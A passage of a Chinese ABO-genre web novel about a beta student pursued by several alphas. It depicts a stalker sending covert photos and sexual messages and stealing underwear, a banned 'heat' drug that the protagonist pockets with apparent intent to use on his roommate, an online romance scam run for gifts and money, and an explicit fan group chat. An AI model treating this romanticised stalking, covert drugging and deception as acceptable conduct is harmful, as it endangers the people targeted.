他打量着蜷在沙发里的路至,对方凌乱的黑发下露出一截发红的脖颈,腺体布满了抑制剂的针孔。
现在抑制剂的效果越来越差,翻几倍的剂量还压不下暴走的信息素,路至还不找个omega伴侣,迟早要被假性易感逼疯的。不过真找到了,那个omega也有受的。
路至没理他,低头划着手机屏幕。周凛瞥见锁屏壁纸是张熟悉的、骨节分明的手部特写,还没看清就被切到了朋友圈界面。只见路至行云流水地点开某条手图的动态,长按保存图片后,反手就是一个举报。
“你网恋了?整天抱着手机不离身?”
周凛对上路至的死亡目光,就知道他猜对了,这么护着,都不舍得让他打听。
沉默好一会,周凛突然开口,“你和唐星野发生什么事?那天甜品店之后闹得这么僵,宿舍也不会回,季余的事还特意用我的名头。你要是跟他说季沉是你找来的,按唐星野的性子,肯定会原谅你。”
路至斜睨他一眼,唇角勾起一抹意味深长的弧度:“什么事都没有。”
“我们关系……好得很。”
周凛:“……?”
————
alpha舔了舔犬齿,调配着药剂。实验室的排风扇嗡嗡作响,却驱散不了他脑海中那个挥之不去的身影。
他听了小beta那一场汇报后,对方就像狡猾蛊惑人心的蛇一样钻进他的梦里。越是告诉自己不要想,越发频繁想起那一次会议的一切。
柔软的唇瓣、漂亮的手、被握住的笔……
唐星野唐星野唐星野唐星野唐星野……
他要疯了,这个名字出现在他的梦里,叫他魂牵梦萦,钻入肺腑,让他想要更多更多更多。
对方脾气很好,被无理取闹的要求重新讲,也会温声细语地说;“好,我再说一遍。”
或许,他抓住这位可爱的小beta,贪得无厌地一遍遍捣弄他,对方也会掉着眼泪,软着声音,“好,你再来一遍。”
走廊传来急促的脚步声。他抿唇,像是被人打断好事,眉眼浮现一丝焦躁,快速收拾东西。
沈清一脚踹开实验楼后门,黑色马尾在风中划出一道利落的弧线。她眯起眼睛,锁定前方那个鬼鬼祟祟的Alpha男生——对方带着黑色口罩,抱着双肩包。
“站住!纪检部查违禁品!”
那男生闻声一抖,拔腿就往小树林方向狂奔。沈清暗骂一声正要追,突然看见转角处晃过一
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个熟悉的身影。
“唐星野!拦住他!那家伙拿了——”
唐星野眼神骤变。他一个箭步上前,长腿一伸直接将人绊倒在地。
月光透过树叶间隙,在他清冷的轮廓上投下斑驳的光影。他微微蹙眉的样子,像极了教堂壁画里古典的圣母画像,更显圣洁而纯粹,让人想用最肮脏的手段弄脏。
“对、对不起!”Alpha结结巴巴地道歉,眼睛直勾勾盯着唐星野的脸,连继续逃跑都忘了。
唐星野:“……”
做坏事,但会和人道歉。
他皱眉,敏锐地注意到对方背包里露出可疑的粉色瓶口:“你包里是什么?”
“是、是送给你的......”
Alpha涨红了脸,手忙脚乱想把瓶子拿回去,却不小心把整个背包都递了过来,“你要……吗?”
他仰起头,痴迷地望着唐星野垂落的眼睫。如果能被这双眼睛注视着惩罚,就算被踩断肋骨也甘之如饴。
沈清追上来时看到的就是这一幕——嫌犯正满脸通红地把违禁品往唐星野手里送。她一把夺过背包,从里面翻出十几支粉色药剂。
“这是什么?”唐星野微微蹙眉,“毒药?”
“不是,不是的,我怎么会做这种东西,这是我送给老婆的礼物。”alpha心跳得很快,满脸泛着娇羞的红,他爬在唐星野身前,满眼期待,“你不说谢谢吗? 或者你不喜欢,扇我一巴掌,也行。我会说谢谢的。”
唐星野:“……”
神经啊。
“三倍浓缩的热剂。”沈清冷着脸晃了晃药剂,“学校明令禁止的违禁品。”
见唐星野疑惑,沈清解释:“对人体没什么太大伤害,平常人喝了就像喝热水,会发热一会。但对易感期的AO,他们对信息素异常敏感,”她顿了顿,眼睛眯起,“喝下去大概会让他们——”
话没说完,沈清冷冷瞪着alpha,“你想在学校里引发信息素暴乱?”
那个Alpha还在偷瞄唐星野,被沈清一个眼刀吓得缩了缩脖子:“不是的!”
"我、我就是送给老婆的,我也没想给其他人……"
他委屈地嘟囔,目光却黏在唐星野的腰线上。要是能让beta也尝尝这个......光是想象那双眼眸泛起水雾的模样,他就兴奋得发抖。
沈清干脆利落地一个手刀打晕alpha,拽着alpha的衣领往外拖,对唐星野道:“我把他送到纪检部,这些药剂麻烦你帮送去校医院,她们会处理掉。”
唐星野点头应下,目送她的背影消失在林间小径。
四下无人,寂静如潮水般漫上来。
唐星野垂眸,伸手拿起那支泛着粉光的药剂。
月光穿过枝叶缝隙,斑驳地映在玻璃瓶上,粉色液体在他指间流转,像一条被驯服的蛇,温顺地缠绕着他的手指,却又在暗处悄悄吐着信子。
唐星野的指尖微微收紧,鬼使神差地将一只药剂塞到自己的口袋里。
万一……哪天就用得上呢?
室友虚伪冷漠的脸,蓦地浮现在他眼前。
14.樱桃
唐星野的手机响动,他查看消息。
又是熟悉的骗子先生,对方生怕他认不出,每次被拉黑后换新的号码,都会备注骗子,这次对方来发来了照片。
照片是他在会议室附身写材料,因为专注工作而毫无防备,领口微开,白皙的脖颈线条优美,圆润腺体泛着淡淡的粉。
骗子:【宝宝,你的腺体好美。】
骗子:【粉粉的,好想舔。】
唐星野翻动照片,还有他睡着的照片,拍摄的角度很近,就像这人在一直跟着他。
骗子:【你睡着的好乖哦,好想让人做坏事。想把黏糊糊的爱都送给你。】
骗子:【宝宝,我收到你留给我的礼物,我好喜欢,上面还有你的香味。你要什么礼物?】
骗子:【你身边的臭alpha好多,真是让我嫉妒,为什么你不能回头看看我?】
骗子:【宝贝,你想要的,无论是什么,我都可以给你,我会帮你的。】
骗子:【老婆,你为什么不理我?为什么为什么为什么为什么为什么为什么】
唐星野:“……”
正常人都不会想要理一个变态吧。
他就像对待垃圾般,随手把这人拉黑,没有想探究谁发的意思。
唐星野抬手敲门,听到“进来”,他才推门而入,站在桌前。
“老师,您找我?”
叶教授翻完最后一页的申请资料,才缓缓抬头,打量着眼前的beta。
青年穿得整洁的衬衫,纽扣规规矩矩地系到最上面一颗。睫毛垂落,在眼下投出一小片阴影,发丝垂落在白皙的脸侧,显得安静又温顺。清透如琉璃的眼睛抬起时,乖巧地等着指示,完全是一副好学生模样。
“你以后打算研究信息素方向?”
“是的。”
“申请材料写得不错,但‘信息素剥离与人体适应性’,”叶教授指尖点了点申请书的某一行,“这是个饱受争议的课题,不被人理解,还不容易申请到经费。”
他放下材料,双手交叠,目光直视唐星野:“以你的资质,很多课题组抢着要你,甚至愿意给你独立项目。为什么偏要选这个?”
唐星野当然知道自己去的领域没钱又容易找骂,叶教授能同意申请通过已经很不容易,“老师,这就是我想研究的方向。”
叶教授注视他良久,“经费的事情,你不用担心。我想知道,你为什么想去这个领域?”
办公室里一时寂静。
唐星野望向窗外。梧桐树的影子在地板上摇曳。
他声音很轻,道:“我希望有一天omega不会因为信息素失去理智,alpha不会被易感期左右,beta不再被排除在讨论之外。”
叶教授凝视他片刻,忽然笑了:“行,我知道了。”
他把申请材料收好,下巴指了指旁边开着的笔记本,“你现在把第三部分实验设计细化下给我。”
唐星野安静地坐下修改。
教授推了推眼镜,忽然开口,语气随意得像在讨论实验室新添的仪器:“我给你忽悠来一只临时牛马,给你现在的课题帮忙。”
唐星野敲键盘的手一顿,侧头问:“谁?”
叶教授脸上浮现出慈祥又狡黠的笑容,“不用在意,一个冷漠的狗alpha,跟实验室的自动分液器差不多。不过胜在好用,干活利索,还能顺便薅点项目资金。”
他眨眨眼,“难得把他忽悠来,你尽管使唤他,物尽其用。”
第二天,唐星野就在工位后排见到了——林墨。
对方正低头调试仪器,修长的手指拧紧螺丝,动作精准得像在拆解枪械。察觉到视线,林墨抬眸,冷淡地和他对视一眼,又漠然垂下眼睫,仿佛他们只是陌生人。
唐星野:“……”
行吧,物尽其用。
尽管他们关系算不上好,林墨的做事效率没得说,唐星野都不用搬出教授的名头,对方就已经一丝不苟地完成了所有任务。相比之下,裴怜偶尔会在实验步骤上出些差错,唐星野不得不站在一旁,时不时出声指点。
午休的时候,裴怜像棵被太阳晒蔫的小白菜,手指地绞着白大褂下摆,耷拉着脑袋问:"星野,我是不是做得很糟糕?"
唐星野刚要开口,正倒出药片的林墨突然冷冰冰地插话,“基础溶液都能配错,如果是我,早就羞愧得退学了。”
知道林墨实验能力很强,有说这话的资本,但听到这番刻薄的评价,唐星野还是忍不住在心里翻了个白眼,这人未免也太能装了吧。
裴怜这颗小白菜更蔫了,垂着头,绞着衣服,不敢吭声。
唐星野:“……”
唐星野故意把椅子往裴怜那边挪了挪,制造出明显的声响。
冷香笼罩,裴怜本能地后退半步。
清凌的语气淡淡的,却带着不容拒绝的命令感,“抬头,伸手。”
裴怜听话地伸出手,小心翼翼地看着唐星野的表情,试图从他的脸上看到失望。
唐星野表情平静,黑白分明的眼睛安静地注视着,看不出情绪。
唐星野握住他的手,指尖微凉,指腹却带着薄茧,轻轻翻看他的掌心。
那只手很漂亮,腕骨伶仃,淡青血管在雪白皮肤下蜿蜒。
好软。
裴怜盯着眼前beta,鼻息嗅到馥郁的香气,那一截白皙的脖颈离他很近,毫无保留地展示最柔软最敏感的地方。
退化的腺体圆润小巧,就像小绿叶。
只要他稍微一靠近,就能……
裴怜清透的眼眸闪过一丝粘稠而深沉的情绪。
唐星野掏出酒精和棉签,捏住裴怜的指尖,轻轻擦拭烫红的地方。
酒精挥发带来的凉意和刺痛交织,裴怜下意识缩了一下,却被唐星野攥紧手腕。
“别动。”唐星野语气冷淡,手上动作却放轻了,“疼也忍着。”
裴怜抿了下唇,却不是因为疼,而是因为唐星野的指尖正抵在他的皮肤上,肌肤相触产生的电流感。
唐星野起身,拍了拍裴怜的肩膀,转身离开实验室前,丢下最后一句,“下次别再犯同样的错了。”
裴怜垂下眼,闷闷地应了一声,直到脚步声渐远。
可不犯错,你又怎么会安慰我呢?
他含住了刚涂过药的指尖,酒精特有的辛辣味在舌尖展开,顺着喉咙落在胃里灼烧。
但是我会听话的,嫂嫂。
路至送的水果太多了,退回去大半,剩下的光靠唐星野一个人根本吃不完。水果保质期短,他不好挂二手平台转卖,只好变着法子分给周围的人。
只是他没想到林墨也会在。
虽然关系冷淡,但毕竟坐在前后排,唐星野不好刻意绕开他,把一盒樱桃递过去:“来,拿几个。”
林墨抬眸,目光看了看唐星野,又落在那几颗饱满红润的樱桃上,却只是冷淡道:“你吃吧。”
不喜欢?
唐星野挑眉,眼底闪过一丝玩味。他修长的手指捻起一颗樱桃,又往前递了递:“吃一个吧。”
这时,裴怜从旁边探出头,眉眼弯弯道:“他不爱吃,你给我吧,我最喜欢了。”
唐星野刚要收回手,林墨却突然伸手接了,面无表情地道:“谢谢。”
接过樱桃时,小指无意识地擦过唐星野的指节,像一片雪落下,又迅速融化。林墨动作一顿,随即若无其事地收回手,把樱桃垫在纸巾上,放在桌角,没有吃。
唐星野有些意外,但也没多问,转头看向裴怜:“你喜欢?”
裴怜点头:“很甜的。”
“你都没吃就知道甜?”唐星野盯着他手里没动的樱桃,目光扫过抽屉时突然想起什么。
他还顾虑这小少爷吃惯了名贵水果,看不上他送的,只是碍于面子收下。既然裴怜喜欢,他干脆从抽屉里又掏出两盒递过去:“既
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然喜欢,都给你吧。”
裴怜笑着接过:“谢谢。”
两人说话时,林墨的视线短暂地扫过他们,又很快收回。他低头继续调试仪器,指节微微收紧,螺丝刀在金属部件上不小心划出一道极浅的痕迹。
直到实验室空无一人,林墨看着那颗樱桃仍静静躺在纸巾上,鲜艳得像一滴血。
明明是他先的。
——————
唐星野拿出手机,把还剩下的几盒水果拍下来,发给路至。
糖心:【哥哥,你买了好多水果。】
L:【不知道你喜欢什么,就多买了点。】
多买了点。
想起十几箱的水果堆成小山,唐星野:“……”
真是钱多没处花,上次他要是答应对方送裙子,路至不得把女装店给他送过来。
L:【剩下都是你喜欢的?】
糖心:【特别喜欢。】
糖心:【哥哥,你对我太好了,我都不知道该说什么。】
L:【喜欢就好。】
吃人嘴短的唐星野短暂地浮起一丝愧疚,但转念一想,路至这种随手能送十几箱水果的alpha,这钱对他来说不算什么。
他想快点结束这网骗生活,思索怎么给路至下点猛药,让他同意发点不雅的图片。
难不成他真要穿裙子拍给路至?
唐星野蹙眉,盯着自己的余额,权衡着利弊。
脑海跳出沈清语重心长的嘱咐,唐星野咬了咬唇。
可是拍点照没什么吧?他是beta,路至是alpha,喜欢omega,看看腿,看看腰,他又不吃亏。
路至这个死直A,要是知道自己喜欢的omega其实是beta,怕膈应得连饭都吃不下。
L:【好好吃饭,别把水果当饭吃。】
唐星野:?
路至怎么知道的,这两天他饿了就啃两口水果,就懒得再去食堂。
L:【课业再忙,也别忘了。】
唐星野一愣,随口提了一嘴他忙着课题,没想到路至竟然记住了。
他突然笑了,慢悠悠地打下一行字。
糖心:【可以呀,但是哥哥是以什么身份说这话?】
L:【你希望我是什么身份,我就是什么身份。】
唐星野:……打太极是吧。
L:【你胃口太小了,吃太少,容易长不高。】
长不高,好恶毒的诅咒?!
这话明显踩爆了唐星野的雷区,他在beta里长得算高,只是比起人高马大的alpha,总是矮上一头。
实际上对于alpha来说,唐星野这样的身量就刚好,看起来就漂亮的洋娃娃,很乖很好抱。
糖心:【哥哥,谢谢你。但是我不小。】
唐星野小声骂路至:“狗alpha,长得高了不起啊。”
屏幕另一头,路至的拇指无意识摩挲过屏幕,想起唐星野衣摆被掀起一角,露出小片雪白的腰腹,伶仃得一只手都能轻松抱起来。
腰身又细又薄,稍微装点东西,小腹都会柔软地突出弧度。
要是吃进去,肯定能看到形状。
太瘦了,得养养。
L:【哦。】
明显不信的语气。
唐星野更气了,又说他小,看他不膈应死路至。
他手指悬在屏幕上方顿了顿,反正自己是beta,露了也没损失。
干脆指尖一划,直接对准镜子拍了张照。
糖心:【我不小!】
糖心:【照片.jpg】
手机屏幕亮起,路至点开唐星野刚发来的照片——
睡衣完全被撩至胸口。
纤薄的腰肢完全暴露在镜头下,皮肤白得晃眼,两侧朝里凹陷,形成两道诱人的弧度。下缘的腰窝微微陷落,就像是无声邀请,宽大的手掌抚上去,重重摩挲,直到那片雪白泛出红痕。
15.不要脸
路至的呼吸明显滞了一瞬,腺体的青筋狂跳,闷哼了一声,咬牙取了桌上的抑制剂,快速给自己打了一针。
随着滚热的体温降下去,路至深吸一口气,他的指腹轻轻摩挲着手机屏幕上的背景照片。
那颗红痣,像一粒朱砂,缀在冷白指节上,漂亮得刺眼。
这段时间的网聊,路至逐渐琢磨清楚唐星野的说话方式。
唐星野越是不开心,糖心就会主动撩拨。
路至思考自己刚才哪里又惹他不高兴了。
他能想象唐星野抬眸瞪着他,眼里燃烧着愠怒,面上冷冷淡淡的,清冷的面容因为那点愠色而显得格外艳丽。
他觉得唐星野真是一只高冷猫主子,不好好吃饭,还不让人说。
明明气得要死,却偏要用尾巴尖勾着人的尾指。
现实中连个眼神都不肯多给,却愿意用小号和他聊到半夜。
路至直接发一条语音。
唐星野将手机放在耳畔。
“嗯,看到了,”磁性冷感的声音传来,掺着丝丝的沙哑,“宝宝,你很大。”
被哄但完全开心不起来的唐星野:“……”
亏他还生出一点愧疚,路至就是个自大、下.流、好色的狗alpha。
L:【别生气。】
糖心:【没有。】
alpha精神力越高,就会死得越快,唐星野想等他事业有成了,路至早就踏进棺材里。
L:【我好像对宝宝还不够了解,你愿意给我一个深入了解你的机会吗?】
糖心:【你想看我照片?】
对面沉默了几分钟,【我想见你一面。】
唐星野眼皮一跳,网恋奔现差不多就是收尾的阶段,他不可能顶着糖心的身份去路至的,要先稳住他。
糖心:【好哦。】
糖心:【可我最近没空,忙着打工呢,没时间去找哥哥。】
L:【不着急,等你有空,我来找你。】
糖心:【我好期待那一天啊!】
唐星野狠狠地又在记仇本子狠狠记下这一笔账,这时他的手机消息又响起来,又是熟悉的拉黑常客。
“宝宝,我易感期要来了,好难受。还好有你留给我的礼物,好香,上面都是你的味道。”
“我每天都在想蛇宝宝的生殖腔。”
“老婆,你的内裤好可爱哦。光是看着我就硬了。”
下.流的臆想毫不遮掩地展露在唐星野面前。
唐星野死死地盯着短信,泛粉的指尖攥紧手机,睫毛轻颤不停。
他破防了。
被变态跟踪骚扰意淫,这些都不足以让唐星野破防,他破防的点是这人竟然把他的内裤偷走了!
而且把他一半内裤都偷走了!
让本就贫穷的唐星野更穷了,这人想毁了他吗?现在拼夕夕买比上次涨价3.99元。
唐星野忍不住要骂人了。
然而打电话过去,对方竟然是关机状态?!!
唐星野气得一肚子火,只好留语言骂他。
这个死变态有胆子偷东西,没胆子挨骂是吧!
唐星野边生气,边思索怎么找回自己的内裤,门锁转动的声音打断了他的思绪,抬眸望去,周凛推门而入。
周凛脸上还带惯常的笑意,唐星野能从他微垂的眼睫下,看到某种压抑的、近乎暴戾的情绪,表面平静,内里却翻涌着滚烫的恶意。
唐星野本该感到快意。周凛这副模样,显然是遇到了什么不痛快的事。可他的嘴角还没来得及扬起,呼吸却猛地一滞,冷冽的硝烟味骤然侵入鼻腔。
唐星野的眼前闪过玻璃碎片飞溅的画面,他眨了眨眼,看清时周凛站在他的面前,笑意盈盈,笑意却未达眼底。
“星野,怎么了?”
他的语调比任何时候都要亲昵轻柔,像是裹着蜜意的刀片,刻意刮着唐星野的耳郭。
唐星野注视他的微笑,鼻息萦绕着毫不掩饰的信息素。
alpha的信息素从未如此明显的外放。
唐星野盯着周凛的假面,厌恶感油然而生。
这人平时装得温文尔雅,现在却连掩饰都懒得做了?
“没什么。”唐星野冷淡地回应,手指无意识地蜷缩,“你身上有烟味。”
周凛轻轻“啊”了一声,像是才意识到一般,却丝毫没有收敛的意思。他微微倾身,声音低柔:“是吗?可能是在外面沾上的。”
说谎。
周凛靠近,唐星野才嗅到一股浅淡的铁锈味,他望去,周凛的指尖有一道细小的伤口,血珠缓缓渗出。
“你——”唐星野下意识开口,又猛地咬住舌尖,硬生生把话咽了回去。
他为什么要关心?周凛受伤关他什么事?
周凛的表情微妙地变了一下,有一瞬间,唐星野以为周凛要和他撕破和平的假面,但是下一秒alpha恢复平常的温和模样,信息素都收敛许多。
周凛轻描淡写地道:“小伤而已。”
他从抽屉里取了车钥匙,“抱歉,味道呛到你了。我今晚就不在宿舍里呆着。”
宿舍空无一人,唐星野又想起内裤被偷的事情,他试着在各个平台检索手机号,看看这个变态有没有注册社交账号。
唐星野不小心按错两个数,手机跳出陌生的群聊,他本想删掉,但校园群聊的名字让他困惑——戒唐星野自律群。
唐星野沉默了两秒,这不会是在说他吧。他出于好奇,就用小号加入这个群聊。
机器人:【欢迎进群,这里是戒唐星野自律群,群宗旨是拒绝嬷唐星野,回归正常生活。】
紧接着是三条群规:
1、禁止转发唐星野的资源、视频、同人文等资源,违者踢。
2、禁止背刺群成员,偷偷把群消息外传,尤其发给本人。
3、禁止叫他宝宝、老婆、宝贝,违者将被公开处刑并罚写《我为什么不该嬷唐星野》万字检讨。】
唐星野:“……”
一生直男:【凌晨两点入群?兄弟症状不轻啊。】
Alpha没一个好东西:【又是哪个,嬷到睡不着来寻求组织帮助的?】
寡夫文学品鉴师:【让我猜猜,是不是刚看完txy的同人本?欸,一说起这个我就受不了,舌苔又痒了,好想跪下来,给txy当狗啊。】
拒绝做梦B:【愺,你又吃了什么好饭,竟然不给兄弟们分享!】
寡夫文学品鉴师:【嘿嘿,我自己画的,爽死我了!第一视角趴着,含住腺体,一边舔,一边吮吸,全部都吃进我的嘴里。】
拒绝做梦B:【别说了,我也想了,星星肯定很小,粉粉嫩嫩的,嘿嘿嘿……】
我不是唐星野的狗:【我想抱着□□的唐星野,他腰好细,好适合握起来厚乳。】
再也不当txy的小三:【新人,说说你怎么被唐星野祸害的?】
唐星野:……
他看见几个眼熟的ID,这些人只改了群昵称,都不改马甲吗?
室友今天倒霉了:【嗯,看完他的汇报,睡不着。】
Alpha没一个好东西:【那个湿发造型?姐妹我懂你!我截了108张图,每张都能让我幻肢起立!可恶,为什么快长出来啊!】
唐星野:……什么造型,那不是他还刚上体育课来不及吹干头发。
室友今天倒霉了:【你们这不是在违反群规吗?】
-7:【哪里违反了?!你不要乱说,我们这是
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在用自己的方式抵制诱惑,嬷星宝,不是,报复罪魁祸首txy,你看不出来吗?】
反驳几句,就被追着骂了好几条的唐星野冷着脸,记下这蹦得最欢的几个id,等会通通拉黑:【哦,比如说呢?】
拒绝做梦B:【我和他在同一课题组,我不给他信息素,让他做不了课题,毕不了业。】
唐星野眯了眯眼,记得新课题组的alpha昨天自告奋勇愿意帮他实验取材,他抽了300毫升的信息素。alpha嘴里叽里咕噜,说什么猪话,抽了他就要对他负责。
我不是唐星野的狗:【我找大师算过了他的八字,他最近肯定会倒霉,没多久报复就会来了。】
唐星野点开这个人主页,最新一条是卜卦的晒图:【大师说我们八字很合,就是天作之合。大师果然是大师,太准了。上一个说没有缘分的,就是胡说八道。】
寡夫文学品鉴师:【我天天画他的本子,用心画,狠狠地画,他被各种play,触手、女装、催眠,嘿嘿……】
唐星野点开这个ID,看到主页内容,就立刻后悔了。这人主页全是各种不堪入目的同人图,最新一张是他被画成omega的孕期设定,配文:【宝宝,又没收到我的消息,不知道是动了谁的蛋糕。老婆,我被资本做局了,你竟然没看到我的消息。】
很好,唐星野脸更冷了,用力地戳着屏幕这几个头像,【你们这么做,也不怕遭报应,被唐星野知道打一顿吗?】
这话一出,群聊更热闹了。
【伸手.jpg】
【接。】
【接。】
【接。】
【啊啊啊啊星星扇我!再用晾衣架抽我!老婆踩我!!】(检测到违禁词,被禁言三十分钟)
【兄弟你说话真好听!赏你个红包(转账500)】
【好想变成老婆的袜子,天天被踩在脚下,或者当老婆的牙刷也可以。】
看着消息还在不断刷新“接”的唐星野:……
室友今天倒霉了:【滚。】
寡夫文学品鉴师:【你说话的方式好像星星哦,哥们,你不是唐星野的梦B拒同担吧。】
我不做唐星野的狗:【我看是,难怪说话这么冲,因为没有信息素标记txy,气得内心崩溃,只好辱追又梦b,呜呜呜好可怜哦。】
一生直男:【咳咳,我澄清一下谣言,我们梦B拒同担是这样的,他还是最腼腆的一个。】
唐星野:“……”
一群神经病。
唐星野最后还是没找这个变态的账号,他灵机一动,决定祸水东引。冷笑翻出室友晾在阳台的黑色内裤照片,点击发送:【喜欢黑色吗?送你当纪念品。】
这人要是敢招惹这些alpha,等着被找到挨揍吧。
结果第二天,他就收到了对方回复。
骗子:【老婆我错了!昨天以为你又要拉黑我,我就把卡拔了。】
骗子:【易感期脑子烧得糊涂,不小心把蛇的抑制剂涂在老婆的照片上。对不起,我又对着老婆犯错了。】
骗子:【转账50000元】
(备注:老婆用这些钱买新的,旧的我会帮你保管好了,每晚都抱着睡。)
骗子:【别发臭alpha的东西,好脏,我都打成照片烧掉了。】
对方又发来一张照片,是唐星野仰头喝水的画面。
玻璃杯沿压住浅粉的下唇,来不及吞咽的水珠便顺着脖颈滑落,在锁骨凹陷处积成小小的水洼。敞开的领口里,被水浸湿的布料隐约透出肌肤的色泽。
骗子:【宝宝,你一直都是这么不矜持的吗?随便露脖子喝水勾引我。】
骗子:【下次别考验我了,我是处,经不起诱惑。】
16.生理课
周凛站在礼堂中央,水晶吊灯的光芒将他轮廓镀上一层虚幻的金边。四周掌声如潮水般涌来,校领导刚刚宣布他获得本年度"杰出学生领袖"称号。
他唇角挂着恰到好处的微笑,微微颔首致谢。
校领导拍着他的肩膀,声音洪亮得整个礼堂都能听见,“周家培养出来的继承人,果然不同凡响。”
“哪里,是学校栽培得好。”周凛声音温和,眼神谦逊,脸上挂着得体的笑,心里早已对这种场合感到无趣。他像是行尸走肉按照程序完成,周围一切都像是死寂的黑白色。
人群中有学生窃窃私语声飘进他耳朵,大抵是物色联姻对象,周家之类。
周凛保持着微笑,胃里却像塞了块冰,脑子里不由得飘回昨晚的谈话。
周凛站在灵堂中央,香炉里三炷线香升起袅袅青烟。照片里的周煜永远定格在了十六岁,与他有七分相似的面容在黑白相框中微笑着。
周围人都在哀叹惋惜:“多好的omega啊……竟然被beta克死,太可惜了。”而他面色平静,好似冰冷的雕像,冷漠地注视这一切。
身后苍老的声音响起:
“给你相了一家,年龄适配,基因检测结果好,毕业就能结婚受孕。”
“你们不需要见面,省得麻烦。”
周凛没有回头,低笑出声,眼里闪过一丝讥讽,“畜生配种,不用见面?”
“你这是什么语气,真是一点都不懂事,”声音陡然拔高,“我们给你的安排就是最好的。你要知道——”
“我的一切都是家族的恩赐。”周凛平静地接话,指尖重重碾过袖扣,指腹留下一道红痕。他转身时,脸上已经挂起完美的微笑,“我明白。”
周凛站在实验楼的走廊尽头,窗外是暮色四合的天,沉甸甸地压下来。
管家景叔穿着一丝不苟的黑色中山装,袖口熨得笔直,站在他身后半步的位置,声音压得极低,却字字清晰:
“少爷,老爷特别交代要检查生育功能……”
周凛指尖轻轻敲着窗台,节奏散漫,打断他,淡淡道:“学业忙。”
景叔面色不变,语气却加重:“老爷说,如果您还想拿到家族产权。”
周凛终于笑了,侧过脸,眼尾微挑:“景叔,您这是在威胁我?”
景叔垂眸:“不敢,只是转达。”
正僵持着,实验室的门突然被推开——
唐星野抱着一堆精密仪器零件,手里还提着快递,风风火火地走了进来,看都没看景叔一眼,径直走到实验台前,随意把快递丢地上,开始低头组装。
他的动作又快又准,螺丝刀在指尖转了一圈,咔哒一声卡进凹槽。
景叔皱眉,显然对这种毫无敬畏的冒犯感到不悦,沉声道:“这位同学,实验室里要保持安静。”
唐星野头也不抬:“哦,那您别说话。”
空气一滞。
一瞬间周凛胃里的冰消融了,化成了水。他注视唐星野微蹙的眉眼,唇角微不可察弯了一下。
唐星野的睫毛很长,垂眸时在眼下投下一小片阴影,衬得他整个人愈发冷淡疏离。
偏偏本人似乎不清楚自己的吸引力,神色专注,动作认真、严谨,每一步都精准,没有任何多余的拆接。
唐星野现在的心情不是很好,懒得跟人虚以委蛇。
刚拿完快递,到门口又收到快递通知,大热天中午重新排了长队,热得他出来一身的薄汗。
实验室的仪器不知道被谁弄坏,害他要重修。该死的甲方又要改第五版报告,几件糟心的事情堆在一起,就像理不清的耳机线。
景叔脸色难看,连市长都要看着周家的面子给他敬酒,正要再开口。
周凛拿起桌上的矿泉水,拧开瓶盖递过去,声音柔和得不像话。“喝点水吧,出了这么多汗。”
见唐星野不接,继续干活。
周凛也不恼,掏出真丝手帕,细致地替唐星野擦去细密的汗珠。“那次甜品店你没来,晚上一起吃饭吧,你想吃什么?”
有病啊?
唐星野抬头,莫名其妙地瞥了他一眼,偏头避开他的手帕,“你有点打扰到我工作了。”
唐星野对有钱人没什么敬畏心和滤镜,毕竟他们再有钱也跟他没什么关系。
景叔站在一旁,脸色愈发难看。他在周家侍奉多年,从未见过周凛从不会对任何人这么“殷勤”,更没见过谁敢这样无视周家的威严。
“这位同学——”景叔沉声开口,语气里带着不容置疑的命令感。
“景叔。”周凛忽然出声打断,嗓音依旧温和,眼底却暗了几分,“您先回去吧。”
景叔一怔,随即皱眉:“少爷,老爷交代的事……”
“我会考虑。”周凛微笑,语气不容反驳。
空气再次静默。景叔深深看了唐星野一眼,最终退了出去。
周凛若有所思地看着唐星野,仔细地描摹beta,发现他平时冷冷清清的,被消息提醒打扰时微微蹙眉,面上表情很淡,手指在屏幕上回复戳得特别用力,指尖泛着粉。
因为炎热而沁出酡红的面容,漂亮的脸黏着湿发,汗珠从雪白的皮肤滚落,柔和那一份清冷,流出一丝蛊人的艳色。
在灰暗的空间里,他是最为明艳的颜色。
鲜活的,生动的色彩从他的身上溢出来,延展出来,欢呼着奔涌而来。
周凛波澜不惊的情绪像是堵塞的淤水找到出口。
如果能带他回家,那群老古董的表情一定很精彩。
对于即将入土的腐朽们,周家的两个继承人前后竟然都喜欢beta,对于坚信AO结合论的他们来说一定是天塌的大事。
这个念头让周凛胸腔里泛起隐秘的快意。
在唐星野修完仪器,舒展眉头,周凛适时开口,“生气了?”
“嗯?” 唐星野发出模糊的声音,眼神略显茫然,像是才注意到周凛的存在,眨眨眼,“你还在啊?”
声音清凌凌,平静的语调里听不出情绪,周凛却从中抿出一丝嫌弃的意味。
——你怎么还在这啊?
“……你有事?”唐星野面上和周凛关系不错,不意味着他真的想要跟周凛做朋友。
周围人都上赶着套近乎,期盼着周凛指缝流出一点资源落在他们身上。这位室友对谁都是一视同仁,脑子里大概装的只有学习。
他越是不搭理,越是让人起劲,想要逼他正眼瞧着。
“有件事想请你帮忙,晚上组个饭局?”周凛的笑容多了一分真诚,看着唐星野。
唐星野干脆停下收拾工具的动作,琉璃色的眼眸看着周凛。
“有事直说,我不喜欢人多的场合。”
“不多,就我们两个。”
“我还有课。”
“那我等你。”
“……”唐星野不想说话,似曾相识的场面让他一下想到路至,有钱人都是默认别人吃不饱穿不暖的奇怪生物吗?
“什么事?”他审视周凛,周凛什么时候变得这么熟稔,难道……
周凛丝毫没有唐星野油盐不进的态度感到愠怒,倒是觉得生出一丝兴味。
beta长的十分好看,冷冷地打量着,就勾得人心头发痒。
那双浅灰色的眼睛清透得像冰层下的湖水,被那样注视着,让周凛无端想起养过翠青蛇。
也是这般,漂亮、冷淡,鳞片摸上去却意外地温热。
周凛鬼使神差地想摸一摸他的手,瞧瞧衣着下的身体是否也是冰凉又柔软……
“我知道了。”
“嗯?”周凛没反应过来,唐星野知道什么,知道他想……
唐星野极为认真地道,“我对你们家的事不感兴趣,我也不会说出去,你放心。”
“你都听到了?”周凛一愣。
唐星野奇怪地瞥周凛,不就是不举,需要去医院做检查,多大点事。难不成他忌讳看医吗?
电光火石间,他恍然。
对于骄傲自大的alpha这是极其伤自尊的事情,alpha不行,说出去可太丢人了。
唐星野指着敞开的大门,语气坦然,“你们又不关门,路过这里的都听得到。”
言下之意,他是光明正大的听,不是偷听。
想到平日装得温文儒雅的周凛原来是个太监,脑补了电视剧捏着嗓子说话的东厂督主,唐星野就觉得好笑。
该不会周凛跟医生介绍病情,还要用“我有一个朋友”的说辞吧。
他越想越觉得好笑,眼尾微微弯起,本就精致好看的五官瞬间鲜活起来,像冰面上忽然裂开一道细缝,透出粼粼波光的湖水。
周凛盯着他唇角的笑意,眸色渐深。
唐星野不会是误会什么吧?
